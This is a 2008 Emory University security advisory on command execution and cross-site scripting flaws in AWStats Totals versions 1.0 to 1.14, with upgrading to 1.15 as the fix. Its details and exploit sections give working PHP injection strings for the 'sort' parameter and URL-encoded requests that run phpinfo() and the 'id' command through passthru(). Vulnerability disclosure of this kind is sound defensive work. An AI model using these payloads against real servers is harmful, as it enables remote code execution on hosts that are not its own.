Multiple Vulnerabilities in AWStats Totals Aug 26 2008 04:54PM
Elliot Kendall (elliot kendall emory edu)
Emory University UTS Security Advisory EMORY-2008-01

Topic: Multiple Vulnerabilities in AWStats Totals

Original release date: August 26, 2008

SUMMARY
=======

Telartis's AWStats Totals program is vulnerable to command execution
and cross site scripting attacks. A remote attacker could exploit
these vulnerabilities to run arbitrary commands on the system with the
permissions of the web server.

AFFECTED SOFTWARE
=================

* AWStats Totals 1.0 - 1.14

UNAFFECTED
==========

* AWStats Totals >= 1.15

IMPACT
======

A remote attacker could exploit these vulnerabilities to run arbitrary
commands on the web server's host operating system.

DETAILS
=======

AWStats Totals takes three URL parameters, "month," "year," and
"sort," and uses them without checking them for validity.

The program uses the month and year parameters in output it displays
to the user. It will display any HTML or Javascript code included in
these parameters, which the user's browser will then render.

The program uses the sort parameter to build an anonymous PHP function
with the create_function() function.

> function multisort(&$array, $key) {
> $cmp = create_function('$a, $b',
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
> usort($array, $cmp);
> }
>
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);

Taking care to match properly the quotes and angle brackets, it is
possible to insert PHP expressions into the code for the function. For
example, to run the phpinfo() function, one might set sort to this
value:

"].phpinfo().$a["

Since any code one injects gets run multiple times, however, it may be
useful to exit the program after a single invocation:

"].phpinfo().exit().$a["

It is also possible to insert PHP expressions through the use of
variable expansion within strings on newer versions of PHP:

{${phpinfo()}}{${exit()}}

SOLUTION
========

Upgrade to AWStats Totals 1.15.

http://www.telartis.nl/xcms/awstats/

EXPLOIT
=======

The following examples require that magic quotes be disabled, but will
work on all versions of PHP.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%
2eexit%28%29%2e%24a%5b%22

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27
id%27%29%2eexit%28%29%2e%24a%5b%22

======

The following examples require a version of PHP which parses function
calls inside strings (5+, some versions of 4?), but will work if magic
quotes are enabled.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%
7d%7d%7b%24%7bexit%28%29%7d%7d

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr
(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

ACKNOWLEDGMENTS
===============

Thanks to Telartis B.V. and Jeroen de Jong for quickly releasing an
updated version and for assisting with this advisory.

DISCLAIMER
==========

The information in this advisory is provided by Emory as a courtesy
and without any representations or warranties. Recipients are
advised to conduct their own investigation and due diligence before
relying on its contents.

REVISION HISTORY
================

2008-08-26 original release

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